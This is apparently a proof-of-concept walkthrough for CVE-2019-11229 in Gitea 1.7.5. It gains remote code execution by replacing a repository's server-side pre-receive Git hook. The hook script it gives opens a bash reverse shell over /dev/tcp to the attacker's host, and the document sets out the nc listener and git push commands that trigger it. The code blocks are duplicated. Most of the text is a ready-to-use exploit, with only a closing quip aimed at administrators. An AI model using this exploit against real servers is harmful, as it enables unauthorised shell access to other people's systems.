Gitea 1.7.5 CVE-2019–11229 get RCE by Git Hooks PoC

Gitea version 1.7.5 contains a critical remote code execution vulnerability (CVE-2019–11229) stemming from improper restricted access to server-side Git hooks. By abusing repository management features, an attacker can modify administrative scripts like pre-receive to achieve arbitrary code execution upon receiving a code push.

Create a git repo or use a privouse one that you have

Open the repo and navigate to Settings

Then from Settings navigate to -> Git Hooks -> pre-receive

The pre-receive hook is a server-side Git hook that executes before any pushed commits are accepted into the target repository

And replace the script with the hook with the next block of code only change the The YOUR_IP and YOUR_PORT . Or change the line to whatever command or rev shell you want.

#!/bin/bash
#
# An example hook script to make use of push options.

/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'

if test -n "$GIT_PUSH_OPTION_COUNT"
then
 i=0
 while test "$i" -lt "$GIT_PUSH_OPTION_COUNT"
 do
  eval "value=\$GIT_PUSH_OPTION_$i"
  case "$value" in
  echoback=*)
   echo "echo from the pre-receive-hook: ${value#*=}" >&2
   ;;
  reject)
   exit 1
  esac
  i=$((i + 1))
 done
fi

#!/bin/bash
#
# An example hook script to make use of push options.

/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'

if test -n "$GIT_PUSH_OPTION_COUNT"
then
 i=0
 while test "$i" -lt "$GIT_PUSH_OPTION_COUNT"
 do
  eval "value=\$GIT_PUSH_OPTION_$i"
  case "$value" in
  echoback=*)
   echo "echo from the pre-receive-hook: ${value#*=}" >&2
   ;;
  reject)
   exit 1
  esac
  i=$((i + 1))
 done
fi

Then to trigger it:

Start your nc listner:

rlwrap nc -lnvp 21

rlwrap nc -lnvp 21

And

#Clone your repo
git clone http://192.168.123.67:3000/test/love.git
#Open the repo folder
cd love
#Do some generic change so you can push it to the repo
echo test >> test.txt
#Add the changes
git add .
#Set display name of the commmit
git config user.name test
#Commit your changes
git commit -m "test"
#And finaly push to trigger the hook and get a shell
git push

#Clone your repo
git clone http://192.168.123.67:3000/test/love.git
#Open the repo folder
cd love
#Do some generic change so you can push it to the repo
echo test >> test.txt
#Add the changes
git add .
#Set display name of the commmit
git config user.name test
#Commit your changes
git commit -m "test"
#And finaly push to trigger the hook and get a shell
git push

If all works fine the command will hang and you will get a shell

And we get a hit

Remember: if your Git server lets random users write arbitrary bash scripts to run on the host, it's not just a repository anymore — it's your new, poorly managed cloud provider.